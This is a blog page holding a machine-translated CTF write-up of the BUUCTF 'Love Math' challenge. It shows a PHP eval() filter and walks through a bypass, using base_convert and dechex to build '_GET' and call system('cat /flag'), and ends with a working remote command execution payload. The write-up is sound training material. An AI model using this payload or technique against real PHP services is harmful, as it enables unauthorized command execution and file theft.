当前位置:网站首页>Buuctf-[ciscn 2019 preliminary]love math
Buuctf-[ciscn 2019 preliminary]love math
2022-06-12 23:42:00 【Python's path to becoming a God】
buuctf-[CISCN 2019 Preliminaries ]Love Math( Xiaoyute detailed explanation )
1. First look at the topic
<?php
error_reporting(0);
// I heard that you like math very much , I don't know if you love it better than love flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
// Example c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die(" Too long doesn't count ");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die(" Please don't type strange characters ");
}
}
// Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die(" Please don't enter strange functions ");
}
}
// Help you figure out the answer
eval('echo '.$content.';');
}
Analyze the source code
At first, it limits the length of the incoming parameters , Then there is blacklist filtering , Finally, the white list , The white list here is a commonly used mathematical function .
Here's the idea
1. First pass in a parameter , See if you can execute the command
payload:/?c=19-1
2. Then the blacklist filters a lot of things , The conventional cat/flag Can't use , Here is a knowledge point is php Function name can be passed to a variable by string in , Then call the function dynamically through this variable. For example, the following code will execute system(‘cat/flag’);
$a='system';
$a('cat/flag');
The parameters used here are
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
But here _GET and a,b None of them are on the white list , It needs to be replaced here
After replacement
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag
But here _GET There is no direct replacement , and [] Also filtered by the blacklist
Here we need to know about the functions in the white list he gave
Here are some functions that need to be used
First of all, I will _GET Function to convert
hex2bin() function
hex2bin() Function to convert a string of hexadecimal values to ASCII character .
there _GET
yes ASCII character , Use online tools to _GET
Convert to hex
hex2bin(5f 47 45 54) Namely _GET, however hex2bin() Functions are not in the white list , And here's 5f 47 45 54 You can't directly fill in , It's going to be destroyed here
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
To test the white list .
there hex2bin() Functions can be base_convert() Function to convert
base_convert() The function can convert numbers between any base numbers
there hex2bin You can view it as 36 Base number , use base_convert To convert 10 The base number is converted to 16 Base can appear hex2bin
hex2bin=base_convert(37907361743,10,36)
And then the inside 5f 47 45 54 Use dechex() Function will 10 The base number is converted to 16 Binary number
dechex(1598506324),1598506324 Convert to 16 Hexadecimal is 5f 47 45 54
The final payload:
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){
pi}(($$pi){
abs})&pi=system&abs=cat /flag
边栏推荐
- [redis sentinel] failed listening on port 26379 (TCP) & sentinel mode no response problem solved
- Lua loop statement
- Test platform series (97) perfect the case part
- Chapter 8 - shared model JUC
- 应用最广泛的动态路由协议:OSPF
- SAP UI5 如何通过 manifest.json 文件定义第三方库依赖关系
- MySQL row to column, column to row, multiple columns to one row, one row to multiple columns
- Pytorch common parameter initialization methods: [uniform distribution, normal (Gaussian) distribution, Xavier, Kaiming, orthogonal matrix, sparse matrix, constant, identity matrix, zero filling]
- 妙才周刊 - 5
- Pytorch中的梯度累加【在实验时,由于GPU显存限制,遇到batch_size不能再增大的情况。为解决该问题,使用梯度累加方法】
猜你喜欢
For product managers, which of the two certificates, PMP and NPDP, is more authoritative?
The most widely used dynamic routing protocol: OSPF
MYSQL 行转列、列转行、多列转一行、一行转多列
Basic operations of dict and set
Record 5 - the serial port of stm32f411ceu6 realizes the sending and receiving of fixed length data and variable length data
Don't write about the full screen explosion, try the decorator mode, this is the elegant way!!
2022 questions d'examen pour le personnel de gestion de la sécurité de l'unit é de gestion des produits chimiques dangereux et examen de simulation en ligne
36 krypton's debut | "osogena" won nearly ten million angel rounds of financing. The original DLR scientists of German Aerospace Research and development system modeling and simulation CAE software PA
[literature translation - Part] revealing the structure of clinical EEG signals by self supervised learning (SSL and RP principles / data / preprocessing)
2022年电工(初级)操作证考试题库及在线模拟考试
随机推荐
Hongmeng starts
Pytorch common parameter initialization methods: [uniform distribution, normal (Gaussian) distribution, Xavier, Kaiming, orthogonal matrix, sparse matrix, constant, identity matrix, zero filling]
Alien Skin Exposure X7调色滤镜插件,RAW后期处理工具
[leetcode] understanding and usage of map[key]+
[opencv learning] use the Tesseract OCR movement to recognize numbers
cookie
LeetCode 890 查找和替换模式[map] HERODING的LeetCode之路
PyTorch常用参数初始化方法:【均匀分布、正态(高斯)分布、Xavier、kaiming、正交矩阵、稀疏矩阵、常数、单位矩阵、零填充】
Industry reshuffle, a large number of programmers are going to lose their jobs? How can we break the current workplace dilemma
CV—BaseLine总结(从AlexNet到SENet的发展历程)
Comprehensive analysis of C array
2022 questions d'examen pour le personnel de gestion de la sécurité de l'unit é de gestion des produits chimiques dangereux et examen de simulation en ligne
Xi'an Jiaotong 22nd autumn e-commerce technology online expansion resources (IV) [standard answer]
ShardingSphere-proxy-5.0.0部署之分表实现(一)
Mgr and greatsql resource summary
Insight into China's smart medical industry in 2022
2022起重机械指挥上岗证题目模拟考试平台操作
移动安全必备之CS呢【NETHUNTER】
华为云弹性云服务器ECS使用【华为云至简致远】
Is the stock account opened by qiniu Gang safe and reliable?